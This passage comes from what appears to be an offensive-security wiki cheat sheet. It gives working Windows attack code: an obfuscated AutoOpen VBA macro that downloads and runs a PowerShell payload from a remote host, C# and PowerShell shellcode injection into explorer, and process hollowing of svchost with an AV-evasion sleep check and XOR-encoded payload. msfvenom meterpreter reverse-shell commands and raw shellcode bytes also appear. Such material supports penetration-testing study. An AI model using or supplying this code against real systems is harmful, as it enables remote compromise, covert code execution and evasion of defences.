    Pears = Chr(Beets - 17)&lt;br /&gt;
End Function&lt;br /&gt;
Function Strawberries(Grapes)&lt;br /&gt;
    Strawberries = Left(Grapes, 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Almonds(Jelly)&lt;br /&gt;
    Almonds = Right(Jelly, Len(Jelly) - 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Nuts(Milk)&lt;br /&gt;
    Do&lt;br /&gt;
        Oatmilk = Oatmilk + Pears(Strawberries(Milk))&lt;br /&gt;
        Milk = Almonds(Milk)&lt;br /&gt;
    Loop While Len(Milk) &amp;gt; 0&lt;br /&gt;
    Nuts = Oatmilk&lt;br /&gt;
End Function&lt;br /&gt;
Function MyMacro()&lt;br /&gt;
    Dim Apples As String&lt;br /&gt;
    Dim Water As String&lt;br /&gt;
    &#039;powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&lt;br /&gt;
    Apples = &amp;quot;129128136118131132121118125125049062118137118116049115138129114132132049062127128129049062136049121122117117118127049062116049122118137057057127118136062128115123118116133049132138132133118126063127118133063136118115116125122118127133058063117128136127125128114117132133131122127120057056121133133129075064064066074067063066071073063066063066067071064131134127063129132066056058058&amp;quot;&lt;br /&gt;
    Water = Nuts(Apples)&lt;br /&gt;
&#039; GetObject(&amp;quot;winmgmts:&amp;quot;).Get(&amp;quot;Win32_Process&amp;quot;).Create strArg, Null, Null, pid&lt;br /&gt;
            GetObject(Nuts(&amp;quot;136122127126120126133132075&amp;quot;)).Get(Nuts(&amp;quot;104122127068067112097131128116118132132&amp;quot;)).Create Water, Tea, Coffee, Napkin&lt;br /&gt;
End Function&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Process Injection ==&lt;br /&gt;
&lt;br /&gt;
=== Csharp ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import necessary functions from kernel32.dll&lt;br /&gt;
        // Opens an existing local process object&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Reserves or commits a region of memory within the virtual address space of a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Writes data to an area of memory in a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Creates a thread that runs in the virtual address space of another process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Obtain a handle to the target process. Remeber to change the process ID(4804)&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, 4804);&lt;br /&gt;
            // Allocate memory in the target process&#039;s address space&lt;br /&gt;
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Define the shellcode bytes to inject&lt;br /&gt;
            byte[] buf = new byte[591]&lt;br /&gt;
            {&lt;br /&gt;
                0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,&lt;br /&gt;
                // ... (rest of the shellcode)&lt;br /&gt;
            };&lt;br /&gt;
            // Write the shellcode to the allocated memory in the target process&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);&lt;br /&gt;
            // Create a remote thread in the target process to execute the shellcode&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Csharp - But automatically get process ID ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import necessary functions from kernel32.dll&lt;br /&gt;
        // Opens an existing local process object&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Reserves or commits a region of memory within the virtual address space of a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Writes data to an area of memory in a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Creates a thread that runs in the virtual address space of another process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
	// Automatically obtain process ID&lt;br /&gt;
            Process[] localByName = Process.GetProcessesByName(&amp;quot;explorer&amp;quot;);&lt;br /&gt;
            if (localByName.Length == 0)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;No explorer process found.&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            int targetProcessId = localByName[0].Id;&lt;br /&gt;
            // Obtain a handle to the target process&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetProcessId);&lt;br /&gt;
            // Allocate memory in the target process&#039;s address space&lt;br /&gt;
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Define the shellcode bytes to inject&lt;br /&gt;
            byte[] buf = new byte[510] {0xfc,0x48,0x83,0xe4,0xf0,0xe8... [Rest of the shellcode]&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
            // Write the shellcode to the allocated memory in the target process&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);&lt;br /&gt;
            // Create a remote thread in the target process to execute the shellcode&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
$procId = (Get-Process explorer).Id&lt;br /&gt;
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f ps1&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4...[REST OF SHELLCODE]&lt;br /&gt;
# C#: IntPtr hProcess = OpenProcess(ProcessAccessFlags.All, false, procId);&lt;br /&gt;
$hProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess),&lt;br /&gt;
  (getDelegateType @([UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke(0x001F0FFF, 0, $procId)&lt;br /&gt;
# C#: IntPtr expAddr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)len, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite);&lt;br /&gt;
$expAddr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAllocEx),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, [UInt32]$buf.Length, 0x3000, 0x40)&lt;br /&gt;
# C#: bool procMemResult = WriteProcessMemory(hProcess, expAddr, buf, len, out bytesWritten);&lt;br /&gt;
$procMemResult = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WriteProcessMemory),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [IntPtr])([Bool]))).Invoke($hProcess, $expAddr, $buf, [Uint32]$buf.Length, [IntPtr]::Zero)&lt;br /&gt;
# C#: IntPtr threadAddr = CreateRemoteThread(hProcess, IntPtr.Zero, 0, expAddr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateRemoteThread),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, 0, $expAddr, 0, [IntPtr]::Zero)&lt;br /&gt;
Write-Host &amp;quot;Injected! Check your listener!&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Process Hollowing ==&lt;br /&gt;
&lt;br /&gt;
Process Hollowing is a method used by attackers to inject malicious code into a legitimate process while keeping the process running. This allows the attacker to hide their activities within a trusted process, potentially evading detection.&lt;br /&gt;
&lt;br /&gt;
=== Stageless XOR&#039;d ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace ProcessHollowing&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public const uint CREATE_SUSPENDED = 0x4;&lt;br /&gt;
        public const int PROCESSBASICINFORMATION = 0;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]&lt;br /&gt;
        public struct ProcessInfo&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public Int32 ProcessId;&lt;br /&gt;
            public Int32 ThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]&lt;br /&gt;
        public struct StartupInfo&lt;br /&gt;
        {&lt;br /&gt;
            public uint cb;&lt;br /&gt;
            public string lpReserved;&lt;br /&gt;
            public string lpDesktop;&lt;br /&gt;
            public string lpTitle;&lt;br /&gt;
            public uint dwX;&lt;br /&gt;
            public uint dwY;&lt;br /&gt;
            public uint dwXSize;&lt;br /&gt;
            public uint dwYSize;&lt;br /&gt;
            public uint dwXCountChars;&lt;br /&gt;
            public uint dwYCountChars;&lt;br /&gt;
            public uint dwFillAttribute;&lt;br /&gt;
            public uint dwFlags;&lt;br /&gt;
            public short wShowWindow;&lt;br /&gt;
            public short cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct ProcessBasicInfo&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes,&lt;br /&gt;
            IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref StartupInfo lpStartupInfo, out ProcessInfo lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass,&lt;br /&gt;
            ref ProcessBasicInfo procInformation, uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer,&lt;br /&gt;
            int dwSize, out IntPtr lpNumberOfbytesRW);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // AV evasion: Sleep for 10s and detect if time really passed&lt;br /&gt;
            DateTime t1 = DateTime.Now;&lt;br /&gt;
            Sleep(10000);&lt;br /&gt;
            double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
            if (deltaT &amp;lt; 9.5)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            // XORed with key 0xfa&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
            0x06, ...SHELLCODE HERE&lt;br /&gt;
            };&lt;br /&gt;
            // Start &#039;svchost.exe&#039; in a suspended state&lt;br /&gt;
            StartupInfo sInfo = new StartupInfo();&lt;br /&gt;
            ProcessInfo pInfo = new ProcessInfo();&lt;br /&gt;
            bool cResult = CreateProcess(null, &amp;quot;c:\\windows\\system32\\svchost.exe&amp;quot;, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, CREATE_SUSPENDED, IntPtr.Zero, null, ref sInfo, out pInfo);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Started &#039;svchost.exe&#039; in a suspended state with PID {pInfo.ProcessId}. Success: {cResult}.&amp;quot;);&lt;br /&gt;
            // Get Process Environment Block (PEB) memory address of suspended process (offset 0x10 from base image)&lt;br /&gt;
            ProcessBasicInfo pbInfo = new ProcessBasicInfo();&lt;br /&gt;
            uint retLen = new uint();&lt;br /&gt;
            long qResult = ZwQueryInformationProcess(pInfo.hProcess, PROCESSBASICINFORMATION, ref pbInfo, (uint)(IntPtr.Size * 6), ref retLen);&lt;br /&gt;
            IntPtr baseImageAddr = (IntPtr)((Int64)pbInfo.PebAddress + 0x10);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got process information and located PEB address of process at {&amp;quot;0x&amp;quot; + baseImageAddr.ToString(&amp;quot;x&amp;quot;)}. Success: {qResult == 0}.&amp;quot;);&lt;br /&gt;
            // Get entry point of the actual process executable&lt;br /&gt;
            // This one is a bit complicated, because this address differs for each process (due to Address Space Layout Randomization (ASLR))&lt;br /&gt;
            // From the PEB (address we got in last call), we have to do the following:&lt;br /&gt;
            // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing&lt;br /&gt;
            // 2. Read the field &#039;e_lfanew&#039;, 4 bytes at offset 0x3C from executable address to get the offset for the PE header&lt;br /&gt;
            // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset&lt;br /&gt;
            // 4. Read the value at the RVA offset address to get the offset of the executable entrypoint from the executable address&lt;br /&gt;
            // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!&lt;br /&gt;
            // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing&lt;br /&gt;
            byte[] procAddr = new byte[0x8];&lt;br /&gt;
            byte[] dataBuf = new byte[0x200];&lt;br /&gt;
            IntPtr bytesRW = new IntPtr();&lt;br /&gt;
            bool result = ReadProcessMemory(pInfo.hProcess, baseImageAddr, procAddr, procAddr.Length, out bytesRW);&lt;br /&gt;
            IntPtr executableAddress = (IntPtr)BitConverter.ToInt64(procAddr, 0);&lt;br /&gt;
            result = ReadProcessMemory(pInfo.hProcess, executableAddress, dataBuf, dataBuf.Length, out bytesRW);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: Executable base address: {&amp;quot;0x&amp;quot; + executableAddress.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 2. Read the field &#039;e_lfanew&#039;, 4 bytes (UInt32) at offset 0x3C from executable address to get the offset for the PE header&lt;br /&gt;
            uint e_lfanew = BitConverter.ToUInt32(dataBuf, 0x3c);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: e_lfanew offset: {&amp;quot;0x&amp;quot; + e_lfanew.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset&lt;br /&gt;
            uint rvaOffset = e_lfanew + 0x28;&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: RVA offset: {&amp;quot;0x&amp;quot; + rvaOffset.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 4. Read the 4 bytes (UInt32) at the RVA offset to get the offset of the executable entrypoint from the executable address&lt;br /&gt;
            uint rva = BitConverter.ToUInt32(dataBuf, (int)rvaOffset);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: RVA value: {&amp;quot;0x&amp;quot; + rva.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!&lt;br /&gt;
            IntPtr entrypointAddr = (IntPtr)((Int64)executableAddress + rva);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got executable entrypoint address: {&amp;quot;0x&amp;quot; + entrypointAddr.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // Carrying on, decode the XOR payload&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;XOR-decoded payload.&amp;quot;);&lt;br /&gt;
            // Overwrite the memory at the identified address to &#039;hijack&#039; the entrypoint of the executable&lt;br /&gt;
            result = WriteProcessMemory(pInfo.hProcess, entrypointAddr, buf, buf.Length, out bytesRW);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote entrypoint with payload. Success: {result}.&amp;quot;);&lt;br /&gt;
            // Resume the thread to trigger our payload&lt;br /&gt;
            uint rResult = ResumeThread(pInfo.hThread);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Triggered payload. Success: {rResult == 1}. Check your listener!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stageless 2 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
//https://github.com/mvelazc0/defcon27_csharp_workshop/tree/master/Labs/lab7&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;&lt;br /&gt;
&lt;br /&gt;
public class Program&lt;br /&gt;
{&lt;br /&gt;
    const int PROCESS_CREATE_THREAD = 0x0002;&lt;br /&gt;
    const int PROCESS_QUERY_INFORMATION = 0x0400;&lt;br /&gt;
    const int PROCESS_VM_OPERATION = 0x0008;&lt;br /&gt;
    const int PROCESS_VM_WRITE = 0x0020;&lt;br /&gt;
    const int PROCESS_VM_READ = 0x0010;&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-openthread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    //static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId);&lt;br /&gt;
    static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-suspendthread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern uint SuspendThread(IntPtr hThread);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-resumethread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern int ResumeThread(IntPtr hThread);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-zwunmapviewofsection&lt;br /&gt;
    [DllImport(&amp;quot;ntdll.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
    private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);&lt;br /&gt;
&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    //public static extern IntPtr VirtualAllocEx(IntPtr lpHandle,IntPtr lpAddress, IntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);&lt;br /&gt;
    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject&lt;br /&gt;
    [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);&lt;br /&gt;
    private static UInt32 MEM_COMMIT = 0x1000;&lt;br /&gt;
    private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;&lt;br /&gt;
    private static UInt32 SUSPEND_RESUME = 0x0002;&lt;br /&gt;
    public static void Main()&lt;br /&gt;
    {&lt;br /&gt;
&lt;br /&gt;
// msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f csharp&lt;br /&gt;
        byte[] shellcode = new byte[193] {0xfc,0xe8,0x82,0x00,0x00,0x00,&lt;br /&gt;
0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,&lt;br /&gt;
0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,&lt;br /&gt;
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,&lt;br /&gt;
0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,&lt;br /&gt;
0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,&lt;br /&gt;
0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,&lt;br /&gt;
0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,&lt;br /&gt;
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,&lt;br /&gt;
0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,&lt;br /&gt;
0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,&lt;br /&gt;
0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,&lt;br /&gt;
0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,&lt;br /&gt;
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,&lt;br /&gt;
0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,&lt;br /&gt;
0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x61,&lt;br /&gt;
